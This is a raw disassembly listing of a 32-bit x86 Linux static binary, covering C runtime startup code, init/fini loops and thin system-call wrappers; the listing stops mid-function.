804dd06: b8 ff ff ff 7f mov $0x7fffffff,%eax
804dd0b: eb 49 jmp 0x804dd56
804dd0d: b8 00 01 00 00 mov $0x100,%eax
804dd12: eb 42 jmp 0x804dd56
804dd14: b8 20 00 00 00 mov $0x20,%eax
804dd19: eb 3b jmp 0x804dd56
804dd1b: b8 04 00 00 00 mov $0x4,%eax
804dd20: eb 34 jmp 0x804dd56
804dd22: b8 00 04 00 00 mov $0x400,%eax
804dd27: eb 2d jmp 0x804dd56
804dd29: 83 c8 ff or $0xffffffff,%eax
804dd2c: eb 28 jmp 0x804dd56
804dd2e: b8 80 ff ff ff mov $0xffffff80,%eax
804dd33: eb 21 jmp 0x804dd56
804dd35: b8 14 00 00 00 mov $0x14,%eax
804dd3a: eb 1a jmp 0x804dd56
804dd3c: b8 63 00 00 00 mov $0x63,%eax
804dd41: eb 13 jmp 0x804dd56
804dd43: b8 00 08 00 00 mov $0x800,%eax
804dd48: eb 0c jmp 0x804dd56
804dd4a: b8 ff 00 00 00 mov $0xff,%eax
804dd4f: eb 05 jmp 0x804dd56
804dd51: b8 ff 7f 00 00 mov $0x7fff,%eax
804dd56: 83 c4 0c add $0xc,%esp
804dd59: c3 ret
804dd5a: 53 push %ebx
804dd5b: bb 00 f0 04 08 mov $0x804f000,%ebx
804dd60: 81 eb 00 f0 04 08 sub $0x804f000,%ebx
804dd66: 83 ec 08 sub $0x8,%esp
804dd69: c1 fb 02 sar $0x2,%ebx
804dd6c: eb 07 jmp 0x804dd75
804dd6e: ff 14 9d 00 f0 04 08 call *0x804f000(,%ebx,4)
804dd75: 4b dec %ebx
804dd76: 83 fb ff cmp $0xffffffff,%ebx
804dd79: 75 f3 jne 0x804dd6e
804dd7b: a1 f4 f0 04 08 mov 0x804f0f4,%eax
804dd80: 85 c0 test %eax,%eax
804dd82: 74 02 je 0x804dd86
804dd84: ff d0 call *%eax
804dd86: 8b 0d f8 f0 04 08 mov 0x804f0f8,%ecx
804dd8c: 85 c9 test %ecx,%ecx
804dd8e: 74 05 je 0x804dd95
804dd90: 5b pop %ebx
804dd91: 58 pop %eax
804dd92: 5b pop %ebx
804dd93: ff e1 jmp *%ecx
804dd95: 58 pop %eax
804dd96: 5a pop %edx
804dd97: 5b pop %ebx
804dd98: c3 ret
804dd99: 31 c0 xor %eax,%eax
804dd9b: c3 ret
804dd9c: c3 ret
804dd9d: 56 push %esi
804dd9e: 53 push %ebx
804dd9f: 83 ec 0c sub $0xc,%esp
804dda2: 89 c6 mov %eax,%esi
804dda4: 89 d3 mov %edx,%ebx
804dda6: 6a 01 push $0x1
804dda8: 50 push %eax
804dda9: e8 8f e2 ff ff call 0x804c03d
804ddae: 83 c4 10 add $0x10,%esp
804ddb1: 40 inc %eax
804ddb2: 75 19 jne 0x804ddcd
804ddb4: 50 push %eax
804ddb5: 50 push %eax
804ddb6: 53 push %ebx
804ddb7: 68 64 ec 04 08 push $0x804ec64
804ddbc: e8 23 e4 ff ff call 0x804c1e4
804ddc1: 83 c4 10 add $0x10,%esp
804ddc4: 39 f0 cmp %esi,%eax
804ddc6: 74 05 je 0x804ddcd
804ddc8: e8 04 fa ff ff call 0x804d7d1
804ddcd: 58 pop %eax
804ddce: 5b pop %ebx
804ddcf: 5e pop %esi
804ddd0: c3 ret
804ddd1: 83 ec 0c sub $0xc,%esp
804ddd4: 80 3d fc f0 04 08 00 cmpb $0x0,0x804f0fc
804dddb: 75 30 jne 0x804de0d
804dddd: b8 00 00 00 00 mov $0x0,%eax
804dde2: c6 05 fc f0 04 08 01 movb $0x1,0x804f0fc
804dde9: c7 05 f0 f0 04 08 00 movl $0x1000,0x804f0f0
804ddf0: 10 00 00
804ddf3: 85 c0 test %eax,%eax
804ddf5: 74 05 je 0x804ddfc
804ddf7: e8 04 22 fb f7 call 0x0
804ddfc: b8 00 00 00 00 mov $0x0,%eax
804de01: 85 c0 test %eax,%eax
804de03: 74 08 je 0x804de0d
804de05: 83 c4 0c add $0xc,%esp
804de08: e9 f3 21 fb f7 jmp 0x0
804de0d: 83 c4 0c add $0xc,%esp
804de10: c3 ret
804de11: 55 push %ebp
804de12: 57 push %edi
804de13: 56 push %esi
804de14: 53 push %ebx
804de15: 81 ec 8c 00 00 00 sub $0x8c,%esp
804de1b: 8b 84 24 b8 00 00 00 mov 0xb8(%esp),%eax
804de22: 8b bc 24 a8 00 00 00 mov 0xa8(%esp),%edi
804de29: a3 e8 f0 04 08 mov %eax,0x804f0e8
804de2e: 8b 84 24 b4 00 00 00 mov 0xb4(%esp),%eax
804de35: a3 f8 f0 04 08 mov %eax,0x804f0f8
804de3a: 8b 84 24 a4 00 00 00 mov 0xa4(%esp),%eax
804de41: 8b ac 24 ac 00 00 00 mov 0xac(%esp),%ebp
804de48: 8d 14 87 lea (%edi,%eax,4),%edx
804de4b: 8d 42 04 lea 0x4(%edx),%eax
804de4e: a3 ec f0 04 08 mov %eax,0x804f0ec
804de53: 3b 07 cmp (%edi),%eax
804de55: 75 06 jne 0x804de5d
804de57: 89 15 ec f0 04 08 mov %edx,0x804f0ec
804de5d: 51 push %ecx
804de5e: 6a 78 push $0x78
804de60: 6a 00 push $0x0
804de62: 8d 44 24 20 lea 0x20(%esp),%eax
804de66: 50 push %eax
804de67: e8 9b e7 ff ff call 0x804c607
804de6c: a1 ec f0 04 08 mov 0x804f0ec,%eax
804de71: 83 c4 10 add $0x10,%esp
804de74: 83 38 00 cmpl $0x0,(%eax)
804de77: 8d 40 04 lea 0x4(%eax),%eax
804de7a: 75 f8 jne 0x804de74
804de7c: 89 c3 mov %eax,%ebx
804de7e: eb 1b jmp 0x804de9b
804de80: 8b 03 mov (%ebx),%eax
804de82: 83 f8 0e cmp $0xe,%eax
804de85: 77 11 ja 0x804de98
804de87: 52 push %edx
804de88: 6a 08 push $0x8
804de8a: 53 push %ebx
804de8b: 8d 44 c4 20 lea 0x20(%esp,%eax,8),%eax
804de8f: 50 push %eax
804de90: e8 1e 08 00 00 call 0x804e6b3
804de95: 83 c4 10 add $0x10,%esp
804de98: 83 c3 08 add $0x8,%ebx
804de9b: 83 3b 00 cmpl $0x0,(%ebx)
804de9e: 75 e0 jne 0x804de80
804dea0: 8d 44 24 14 lea 0x14(%esp),%eax
804dea4: e8 21 09 00 00 call 0x804e7ca
804dea9: e8 23 ff ff ff call 0x804ddd1
804deae: 8b 44 24 48 mov 0x48(%esp),%eax
804deb2: 85 c0 test %eax,%eax
804deb4: 75 04 jne 0x804deba
804deb6: 66 b8 00 10 mov $0x1000,%ax
804deba: a3 f0 f0 04 08 mov %eax,0x804f0f0
804debf: 83 7c 24 70 ff cmpl $0xffffffff,0x70(%esp)
804dec4: 75 20 jne 0x804dee6
804dec6: e8 72 05 00 00 call 0x804e43d
804decb: 89 c3 mov %eax,%ebx
804decd: e8 da 04 00 00 call 0x804e3ac
804ded2: 39 c3 cmp %eax,%ebx
804ded4: 75 2f jne 0x804df05
804ded6: e8 f7 04 00 00 call 0x804e3d2
804dedb: 89 c3 mov %eax,%ebx
804dedd: e8 a4 04 00 00 call 0x804e386
804dee2: 39 c3 cmp %eax,%ebx
804dee4: 75 1f jne 0x804df05
804dee6: 8b 44 24 70 mov 0x70(%esp),%eax
804deea: 83 f8 ff cmp $0xffffffff,%eax
804deed: 74 40 je 0x804df2f
804deef: 3b 44 24 78 cmp 0x78(%esp),%eax
804def3: 75 10 jne 0x804df05
804def5: 8b 84 24 80 00 00 00 mov 0x80(%esp),%eax
804defc: 3b 84 24 88 00 00 00 cmp 0x88(%esp),%eax
804df03: 74 2a je 0x804df2f
804df05: ba 00 00 02 00 mov $0x20000,%edx
804df0a: 31 c0 xor %eax,%eax
804df0c: e8 8c fe ff ff call 0x804dd9d
804df11: ba 02 00 02 00 mov $0x20002,%edx
804df16: b8 01 00 00 00 mov $0x1,%eax
804df1b: e8 7d fe ff ff call 0x804dd9d
804df20: ba 02 00 02 00 mov $0x20002,%edx
804df25: b8 02 00 00 00 mov $0x2,%eax
804df2a: e8 6e fe ff ff call 0x804dd9d
804df2f: be 00 f0 04 08 mov $0x804f000,%esi
804df34: 8b 07 mov (%edi),%eax
804df36: 81 ee 00 f0 04 08 sub $0x804f000,%esi
804df3c: a3 80 f0 04 08 mov %eax,0x804f080
804df41: c1 fe 02 sar $0x2,%esi
804df44: 8b 84 24 b0 00 00 00 mov 0xb0(%esp),%eax
804df4b: 31 db xor %ebx,%ebx
804df4d: a3 f4 f0 04 08 mov %eax,0x804f0f4
804df52: eb 08 jmp 0x804df5c
804df54: ff 14 9d 00 f0 04 08 call *0x804f000(,%ebx,4)
804df5b: 43 inc %ebx
804df5c: 39 f3 cmp %esi,%ebx
804df5e: 72 f4 jb 0x804df54
804df60: 85 ed test %ebp,%ebp
804df62: 74 02 je 0x804df66
804df64: ff d5 call *%ebp
804df66: be 00 f0 04 08 mov $0x804f000,%esi
804df6b: 31 db xor %ebx,%ebx
804df6d: 81 ee 00 f0 04 08 sub $0x804f000,%esi
804df73: c1 fe 02 sar $0x2,%esi
804df76: eb 08 jmp 0x804df80
804df78: ff 14 9d 00 f0 04 08 call *0x804f000(,%ebx,4)
804df7f: 43 inc %ebx
804df80: 39 f3 cmp %esi,%ebx
804df82: 72 f4 jb 0x804df78
804df84: b8 b6 c5 04 08 mov $0x804c5b6,%eax
804df89: 85 c0 test %eax,%eax
804df8b: 74 0b je 0x804df98
804df8d: e8 24 e6 ff ff call 0x804c5b6
804df92: c7 00 00 00 00 00 movl $0x0,(%eax)
804df98: b8 00 00 00 00 mov $0x0,%eax
804df9d: 85 c0 test %eax,%eax
804df9f: 74 0b je 0x804dfac
804dfa1: e8 5a 20 fb f7 call 0x0
804dfa6: c7 00 00 00 00 00 movl $0x0,(%eax)
804dfac: 50 push %eax
804dfad: ff 35 ec f0 04 08 pushl 0x804f0ec
804dfb3: 57 push %edi
804dfb4: ff b4 24 b0 00 00 00 pushl 0xb0(%esp)
804dfbb: ff 94 24 b0 00 00 00 call *0xb0(%esp)
804dfc2: 89 04 24 mov %eax,(%esp)
804dfc5: e8 5b fa ff ff call 0x804da25
804dfca: 90 nop
804dfcb: 90 nop
804dfcc: b8 ad 00 00 00 mov $0xad,%eax
804dfd1: cd 80 int $0x80
804dfd3: 58 pop %eax
804dfd4: b8 77 00 00 00 mov $0x77,%eax
804dfd9: cd 80 int $0x80
804dfdb: 56 push %esi
804dfdc: 53 push %ebx
804dfdd: 81 ec 24 01 00 00 sub $0x124,%esp
804dfe3: 8b 9c 24 34 01 00 00 mov 0x134(%esp),%ebx
804dfea: 8b b4 24 38 01 00 00 mov 0x138(%esp),%esi
804dff1: 85 db test %ebx,%ebx
804dff3: 74 4f je 0x804e044
804dff5: 8b 03 mov (%ebx),%eax
804dff7: 89 84 24 98 00 00 00 mov %eax,0x98(%esp)
804dffe: 8d 43 04 lea 0x4(%ebx),%eax
804e001: 52 push %edx
804e002: 68 80 00 00 00 push $0x80
804e007: 50 push %eax
804e008: 8d 84 24 b0 00 00 00 lea 0xb0(%esp),%eax
804e00f: 50 push %eax
804e010: e8 9e 06 00 00 call 0x804e6b3
804e015: 8b 83 84 00 00 00 mov 0x84(%ebx),%eax
804e01b: 0d 00 00 00 04 or $0x4000000,%eax
804e020: 89 84 24 ac 00 00 00 mov %eax,0xac(%esp)
804e027: 83 c4 10 add $0x10,%esp
804e02a: b8 cc df 04 08 mov $0x804dfcc,%eax
804e02f: f6 83 84 00 00 00 04 testb $0x4,0x84(%ebx)
804e036: 75 05 jne 0x804e03d
804e038: b8 d3 df 04 08 mov $0x804dfd3,%eax
804e03d: 89 84 24 a0 00 00 00 mov %eax,0xa0(%esp)
804e044: 31 d2 xor %edx,%edx
804e046: 85 f6 test %esi,%esi
804e048: 74 04 je 0x804e04e
804e04a: 8d 54 24 0c lea 0xc(%esp),%edx
804e04e: 31 c0 xor %eax,%eax
804e050: 85 db test %ebx,%ebx
804e052: 74 07 je 0x804e05b
804e054: 8d 84 24 98 00 00 00 lea 0x98(%esp),%eax
804e05b: 6a 08 push $0x8
804e05d: 52 push %edx
804e05e: 50 push %eax
804e05f: ff b4 24 3c 01 00 00 pushl 0x13c(%esp)
804e066: e8 96 00 00 00 call 0x804e101
804e06b: 83 c4 10 add $0x10,%esp
804e06e: 89 c3 mov %eax,%ebx
804e070: 85 f6 test %esi,%esi
804e072: 74 35 je 0x804e0a9
804e074: 85 c0 test %eax,%eax
804e076: 78 31 js 0x804e0a9
804e078: 8b 44 24 0c mov 0xc(%esp),%eax
804e07c: 89 06 mov %eax,(%esi)
804e07e: 50 push %eax
804e07f: 68 80 00 00 00 push $0x80
804e084: 8d 44 24 20 lea 0x20(%esp),%eax
804e088: 50 push %eax
804e089: 8d 46 04 lea 0x4(%esi),%eax
804e08c: 50 push %eax
804e08d: e8 21 06 00 00 call 0x804e6b3
804e092: 8b 44 24 20 mov 0x20(%esp),%eax
804e096: 89 86 84 00 00 00 mov %eax,0x84(%esi)
804e09c: 8b 44 24 24 mov 0x24(%esp),%eax
804e0a0: 83 c4 10 add $0x10,%esp
804e0a3: 89 86 88 00 00 00 mov %eax,0x88(%esi)
804e0a9: 89 d8 mov %ebx,%eax
804e0ab: 81 c4 24 01 00 00 add $0x124,%esp
804e0b1: 5b pop %ebx
804e0b2: 5e pop %esi
804e0b3: c3 ret
804e0b4: 89 da mov %ebx,%edx
804e0b6: b8 5a 00 00 00 mov $0x5a,%eax
804e0bb: 8d 5c 24 04 lea 0x4(%esp),%ebx
804e0bf: cd 80 int $0x80
804e0c1: 89 d3 mov %edx,%ebx
804e0c3: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e0c8: 0f 87 44 07 00 00 ja 0x804e812
804e0ce: c3 ret
804e0cf: 53 push %ebx
804e0d0: 83 ec 08 sub $0x8,%esp
804e0d3: 8b 54 24 10 mov 0x10(%esp),%edx
804e0d7: 8b 4c 24 14 mov 0x14(%esp),%ecx
804e0db: 87 d3 xchg %edx,%ebx
804e0dd: b8 66 00 00 00 mov $0x66,%eax
804e0e2: cd 80 int $0x80
804e0e4: 87 d3 xchg %edx,%ebx
804e0e6: 89 c3 mov %eax,%ebx
804e0e8: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e0ed: 76 0c jbe 0x804e0fb
804e0ef: e8 c2 e4 ff ff call 0x804c5b6
804e0f4: f7 db neg %ebx
804e0f6: 89 18 mov %ebx,(%eax)
804e0f8: 83 cb ff or $0xffffffff,%ebx
804e0fb: 89 d8 mov %ebx,%eax
804e0fd: 5a pop %edx
804e0fe: 59 pop %ecx
804e0ff: 5b pop %ebx
804e100: c3 ret
804e101: 57 push %edi
804e102: 56 push %esi
804e103: 83 ec 04 sub $0x4,%esp
804e106: 8b 7c 24 10 mov 0x10(%esp),%edi
804e10a: 8b 4c 24 14 mov 0x14(%esp),%ecx
804e10e: 8b 54 24 18 mov 0x18(%esp),%edx
804e112: 8b 74 24 1c mov 0x1c(%esp),%esi
804e116: 53 push %ebx
804e117: 89 fb mov %edi,%ebx
804e119: b8 ae 00 00 00 mov $0xae,%eax
804e11e: cd 80 int $0x80
804e120: 5b pop %ebx
804e121: 89 c6 mov %eax,%esi
804e123: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e128: 76 0c jbe 0x804e136
804e12a: e8 87 e4 ff ff call 0x804c5b6
804e12f: f7 de neg %esi
804e131: 89 30 mov %esi,(%eax)
804e133: 83 ce ff or $0xffffffff,%esi
804e136: 89 f0 mov %esi,%eax
804e138: 5a pop %edx
804e139: 5e pop %esi
804e13a: 5f pop %edi
804e13b: c3 ret
804e13c: 57 push %edi
804e13d: 53 push %ebx
804e13e: 83 ec 04 sub $0x4,%esp
804e141: 8b 7c 24 10 mov 0x10(%esp),%edi
804e145: 53 push %ebx
804e146: 89 fb mov %edi,%ebx
804e148: b8 01 00 00 00 mov $0x1,%eax
804e14d: cd 80 int $0x80
804e14f: 5b pop %ebx
804e150: 89 c3 mov %eax,%ebx
804e152: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e157: 76 ec jbe 0x804e145
804e159: e8 58 e4 ff ff call 0x804c5b6
804e15e: f7 db neg %ebx
804e160: 89 18 mov %ebx,(%eax)
804e162: eb e1 jmp 0x804e145
804e164: 53 push %ebx
804e165: 83 ec 08 sub $0x8,%esp
804e168: 8b 54 24 10 mov 0x10(%esp),%edx
804e16c: 8b 4c 24 14 mov 0x14(%esp),%ecx
804e170: 87 d3 xchg %edx,%ebx
804e172: b8 0a 01 00 00 mov $0x10a,%eax
804e177: cd 80 int $0x80
804e179: 87 d3 xchg %edx,%ebx
804e17b: 89 c3 mov %eax,%ebx
804e17d: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e182: 76 0c jbe 0x804e190
804e184: e8 2d e4 ff ff call 0x804c5b6
804e189: f7 db neg %ebx
804e18b: 89 18 mov %ebx,(%eax)
804e18d: 83 cb ff or $0xffffffff,%ebx
804e190: 89 d8 mov %ebx,%eax
804e192: 5a pop %edx
804e193: 59 pop %ecx
804e194: 5b pop %ebx
804e195: c3 ret
804e196: 53 push %ebx
804e197: 83 ec 48 sub $0x48,%esp
804e19a: 8b 54 24 50 mov 0x50(%esp),%edx
804e19e: 8d 4c 24 08 lea 0x8(%esp),%ecx
804e1a2: 87 d3 xchg %edx,%ebx
804e1a4: b8 6c 00 00 00 mov $0x6c,%eax
804e1a9: cd 80 int $0x80
804e1ab: 87 d3 xchg %edx,%ebx
804e1ad: 89 c3 mov %eax,%ebx
804e1af: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e1b4: 76 0e jbe 0x804e1c4
804e1b6: e8 fb e3 ff ff call 0x804c5b6
804e1bb: f7 db neg %ebx
804e1bd: 89 18 mov %ebx,(%eax)
804e1bf: 83 cb ff or $0xffffffff,%ebx
804e1c2: eb 13 jmp 0x804e1d7
804e1c4: 85 c0 test %eax,%eax
804e1c6: 75 0f jne 0x804e1d7
804e1c8: 50 push %eax
804e1c9: 50 push %eax
804e1ca: ff 74 24 5c pushl 0x5c(%esp)
804e1ce: 51 push %ecx
804e1cf: e8 62 04 00 00 call 0x804e636
804e1d4: 83 c4 10 add $0x10,%esp
804e1d7: 89 d8 mov %ebx,%eax
804e1d9: 83 c4 48 add $0x48,%esp
804e1dc: 5b pop %ebx
804e1dd: c3 ret
804e1de: 57 push %edi
804e1df: 56 push %esi
804e1e0: 53 push %ebx
804e1e1: 8b 5c 24 14 mov 0x14(%esp),%ebx
804e1e5: 52 push %edx
804e1e6: ff 74 24 1c pushl 0x1c(%esp)
804e1ea: 53 push %ebx
804e1eb: ff 74 24 1c pushl 0x1c(%esp)
804e1ef: e8 59 00 00 00 call 0x804e24d
804e1f4: 83 c4 10 add $0x10,%esp
804e1f7: 89 c6 mov %eax,%esi
804e1f9: 85 c0 test %eax,%eax
804e1fb: 7e 4a jle 0x804e247
804e1fd: 8d 3c 03 lea (%ebx,%eax,1),%edi
804e200: eb 41 jmp 0x804e243
804e202: 8b 43 08 mov 0x8(%ebx),%eax
804e205: 89 43 04 mov %eax,0x4(%ebx)
804e208: 8b 43 10 mov 0x10(%ebx),%eax
804e20b: 66 89 43 08 mov %ax,0x8(%ebx)
804e20f: 8a 43 12 mov 0x12(%ebx),%al
804e212: 88 43 0a mov %al,0xa(%ebx)
804e215: 50 push %eax
804e216: 0f b7 43 08 movzwl 0x8(%ebx),%eax
804e21a: 83 e8 13 sub $0x13,%eax
804e21d: 50 push %eax
804e21e: 8d 43 13 lea 0x13(%ebx),%eax
804e221: 50 push %eax
804e222: 8d 43 0b lea 0xb(%ebx),%eax
804e225: 50 push %eax
804e226: e8 b5 e3 ff ff call 0x804c5e0
804e22b: 83 c4 0c add $0xc,%esp
804e22e: 0f b7 43 08 movzwl 0x8(%ebx),%eax
804e232: 50 push %eax
804e233: 53 push %ebx
804e234: 53 push %ebx
804e235: e8 a6 e3 ff ff call 0x804c5e0
804e23a: 0f b7 43 08 movzwl 0x8(%ebx),%eax
804e23e: 83 c4 10 add $0x10,%esp
804e241: 01 c3 add %eax,%ebx
804e243: 39 fb cmp %edi,%ebx
804e245: 72 bb jb 0x804e202
804e247: 89 f0 mov %esi,%eax
804e249: 5b pop %ebx
804e24a: 5e pop %esi
804e24b: 5f pop %edi
804e24c: c3 ret
804e24d: 55 push %ebp
804e24e: 89 e5 mov %esp,%ebp
804e250: 57 push %edi
804e251: 56 push %esi
804e252: 53 push %ebx
804e253: 83 ec 2c sub $0x2c,%esp
804e256: 8b 45 10 mov 0x10(%ebp),%eax
804e259: 8b 7d 08 mov 0x8(%ebp),%edi
804e25c: 83 c0 1e add $0x1e,%eax
804e25f: 8b 55 10 mov 0x10(%ebp),%edx
804e262: 83 e0 f0 and $0xfffffff0,%eax
804e265: 29 c4 sub %eax,%esp
804e267: 8d 44 24 0f lea 0xf(%esp),%eax
804e26b: 83 e0 f0 and $0xfffffff0,%eax
804e26e: 89 45 d4 mov %eax,-0x2c(%ebp)
804e271: 89 c1 mov %eax,%ecx
804e273: 53 push %ebx
804e274: 89 fb mov %edi,%ebx
804e276: b8 dc 00 00 00 mov $0xdc,%eax
804e27b: cd 80 int $0x80
804e27d: 5b pop %ebx
804e27e: 89 45 ec mov %eax,-0x14(%ebp)
804e281: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e286: 76 0f jbe 0x804e297
804e288: e8 29 e3 ff ff call 0x804c5b6
804e28d: f7 5d ec negl -0x14(%ebp)
804e290: 8b 55 ec mov -0x14(%ebp),%edx
804e293: 89 10 mov %edx,(%eax)
804e295: eb 5c jmp 0x804e2f3
804e297: 83 7d ec ff cmpl $0xffffffff,-0x14(%ebp)
804e29b: 74 56 je 0x804e2f3
804e29d: 8b 75 0c mov 0xc(%ebp),%esi
804e2a0: 8b 5d d4 mov -0x2c(%ebp),%ebx
804e2a3: c7 45 e0 ff ff ff ff movl $0xffffffff,-0x20(%ebp)
804e2aa: c7 45 e4 ff ff ff ff movl $0xffffffff,-0x1c(%ebp)
804e2b1: e9 90 00 00 00 jmp 0x804e346
804e2b6: 0f b7 43 10 movzwl 0x10(%ebx),%eax
804e2ba: 8d 48 03 lea 0x3(%eax),%ecx
804e2bd: 8b 45 0c mov 0xc(%ebp),%eax
804e2c0: 83 e1 fc and $0xfffffffc,%ecx
804e2c3: 03 45 10 add 0x10(%ebp),%eax
804e2c6: 8d 3c 0e lea (%esi,%ecx,1),%edi
804e2c9: 89 7d dc mov %edi,-0x24(%ebp)
804e2cc: 39 c7 cmp %eax,%edi
804e2ce: 76 28 jbe 0x804e2f8
804e2d0: 6a 00 push $0x0
804e2d2: ff 75 e4 pushl -0x1c(%ebp)
804e2d5: ff 75 e0 pushl -0x20(%ebp)
804e2d8: ff 75 08 pushl 0x8(%ebp)
804e2db: e8 83 01 00 00 call 0x804e463
804e2e0: 83 c4 10 add $0x10,%esp
804e2e3: 3b 75 0c cmp 0xc(%ebp),%esi
804e2e6: 75 6c jne 0x804e354
804e2e8: e8 c9 e2 ff ff call 0x804c5b6
804e2ed: c7 00 16 00 00 00 movl $0x16,(%eax)
804e2f3: 83 c8 ff or $0xffffffff,%eax
804e2f6: eb 61 jmp 0x804e359
804e2f8: 8b 43 08 mov 0x8(%ebx),%eax
804e2fb: 8b 53 0c mov 0xc(%ebx),%edx
804e2fe: 89 55 e4 mov %edx,-0x1c(%ebp)
804e301: 89 45 e0 mov %eax,-0x20(%ebp)
804e304: 8b 03 mov (%ebx),%eax
804e306: 8b 53 04 mov 0x4(%ebx),%edx
804e309: 89 56 04 mov %edx,0x4(%esi)
804e30c: 89 06 mov %eax,(%esi)
804e30e: 8b 43 08 mov 0x8(%ebx),%eax
804e311: 8b 53 0c mov 0xc(%ebx),%edx
804e314: 89 56 0c mov %edx,0xc(%esi)
804e317: 89 46 08 mov %eax,0x8(%esi)
804e31a: 66 89 4e 10 mov %cx,0x10(%esi)
804e31e: 8a 43 12 mov 0x12(%ebx),%al
804e321: 88 46 12 mov %al,0x12(%esi)
804e324: 50 push %eax
804e325: 0f b7 43 10 movzwl 0x10(%ebx),%eax
804e329: 83 e8 13 sub $0x13,%eax
804e32c: 50 push %eax
804e32d: 8d 43 13 lea 0x13(%ebx),%eax
804e330: 50 push %eax
804e331: 8d 46 13 lea 0x13(%esi),%eax
804e334: 50 push %eax
804e335: e8 79 03 00 00 call 0x804e6b3
804e33a: 0f b7 43 10 movzwl 0x10(%ebx),%eax
804e33e: 8b 75 dc mov -0x24(%ebp),%esi
804e341: 01 c3 add %eax,%ebx
804e343: 83 c4 10 add $0x10,%esp
804e346: 8b 45 d4 mov -0x2c(%ebp),%eax
804e349: 03 45 ec add -0x14(%ebp),%eax
804e34c: 39 c3 cmp %eax,%ebx
804e34e: 0f 82 62 ff ff ff jb 0x804e2b6
804e354: 89 f0 mov %esi,%eax
804e356: 2b 45 0c sub 0xc(%ebp),%eax
804e359: 8d 65 f4 lea -0xc(%ebp),%esp
804e35c: 5b pop %ebx
804e35d: 5e pop %esi
804e35e: 5f pop %edi
804e35f: 5d pop %ebp
804e360: c3 ret
804e361: 83 ec 24 sub $0x24,%esp
804e364: 8d 44 24 1c lea 0x1c(%esp),%eax
804e368: 50 push %eax
804e369: 6a 07 push $0x7
804e36b: e8 9b 00 00 00 call 0x804e40b
804e370: 83 c4 10 add $0x10,%esp
804e373: ba 00 01 00 00 mov $0x100,%edx
804e378: 85 c0 test %eax,%eax
804e37a: 78 04 js 0x804e380
804e37c: 8b 54 24 14 mov 0x14(%esp),%edx
804e380: 89 d0 mov %edx,%eax
804e382: 83 c4 1c add $0x1c,%esp
804e385: c3 ret
804e386: 53 push %ebx
804e387: 83 ec 08 sub $0x8,%esp
804e38a: b8 ca 00 00 00 mov $0xca,%eax
804e38f: cd 80 int $0x80
804e391: 89 c3 mov %eax,%ebx
804e393: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e398: 76 0c jbe 0x804e3a6
804e39a: e8 17 e2 ff ff call 0x804c5b6
804e39f: f7 db neg %ebx
804e3a1: 89 18 mov %ebx,(%eax)
804e3a3: 83 cb ff or $0xffffffff,%ebx
804e3a6: 89 d8 mov %ebx,%eax
804e3a8: 5a pop %edx
804e3a9: 59 pop %ecx
804e3aa: 5b pop %ebx
804e3ab: c3 ret
804e3ac: 53 push %ebx
804e3ad: 83 ec 08 sub $0x8,%esp
804e3b0: b8 c9 00 00 00 mov $0xc9,%eax
804e3b5: cd 80 int $0x80
804e3b7: 89 c3 mov %eax,%ebx
804e3b9: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e3be: 76 0c jbe 0x804e3cc
804e3c0: e8 f1 e1 ff ff call 0x804c5b6
804e3c5: f7 db neg %ebx
804e3c7: 89 18 mov %ebx,(%eax)
804e3c9: 83 cb ff or $0xffffffff,%ebx
804e3cc: 89 d8 mov %ebx,%eax
804e3ce: 5a pop %edx
804e3cf: 59 pop %ecx
804e3d0: 5b pop %ebx
804e3d1: c3 ret
804e3d2: 53 push %ebx
804e3d3: 83 ec 08 sub $0x8,%esp
804e3d6: b8 c8 00 00 00 mov $0xc8,%eax
804e3db: cd 80 int $0x80
804e3dd: 89 c3 mov %eax,%ebx
804e3df: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e3e4: 76 0c jbe 0x804e3f2
804e3e6: e8 cb e1 ff ff call 0x804c5b6
804e3eb: f7 db neg %ebx
804e3ed: 89 18 mov %ebx,(%eax)
804e3ef: 83 cb ff or $0xffffffff,%ebx
804e3f2: 89 d8 mov %ebx,%eax
804e3f4: 5a pop %edx
804e3f5: 59 pop %ecx
804e3f6: 5b pop %ebx
804e3f7: c3 ret
804e3f8: a1 f0 f0 04 08 mov 0x804f0f0,%eax
804e3fd: ba 00 10 00 00 mov $0x1000,%edx
804e402: 85 c0 test %eax,%eax
804e404: 74 02 je 0x804e408
804e406: 89 c2 mov %eax,%edx
804e408: 89 d0 mov %edx,%eax
804e40a: c3 ret
804e40b: 53 push %ebx
804e40c: 83 ec 08 sub $0x8,%esp
804e40f: 8b 54 24 10 mov 0x10(%esp),%edx
804e413: 8b 4c 24 14 mov 0x14(%esp),%ecx
804e417: 87 d3 xchg %edx,%ebx
804e419: b8 bf 00 00 00 mov $0xbf,%eax
804e41e: cd 80 int $0x80
804e420: 87 d3 xchg %edx,%ebx
804e422: 89 c3 mov %eax,%ebx
804e424: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e429: 76 0c jbe 0x804e437
804e42b: e8 86 e1 ff ff call 0x804c5b6
804e430: f7 db neg %ebx
804e432: 89 18 mov %ebx,(%eax)
804e434: 83 cb ff or $0xffffffff,%ebx
804e437: 89 d8 mov %ebx,%eax
804e439: 5a pop %edx
804e43a: 59 pop %ecx
804e43b: 5b pop %ebx
804e43c: c3 ret
804e43d: 53 push %ebx
804e43e: 83 ec 08 sub $0x8,%esp
804e441: b8 c7 00 00 00 mov $0xc7,%eax
804e446: cd 80 int $0x80
804e448: 89 c3 mov %eax,%ebx
804e44a: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e44f: 76 0c jbe 0x804e45d
804e451: e8 60 e1 ff ff call 0x804c5b6
804e456: f7 db neg %ebx
804e458: 89 18 mov %ebx,(%eax)
804e45a: 83 cb ff or $0xffffffff,%ebx
804e45d: 89 d8 mov %ebx,%eax
804e45f: 5a pop %edx
804e460: 59 pop %ecx
804e461: 5b pop %ebx
804e462: c3 ret
804e463: 57 push %edi
804e464: 56 push %esi
804e465: 53 push %ebx
804e466: 83 ec 10 sub $0x10,%esp
804e469: 8b 5c 24 28 mov 0x28(%esp),%ebx
804e46d: 8b 4c 24 24 mov 0x24(%esp),%ecx
804e471: 89 d9 mov %ebx,%ecx
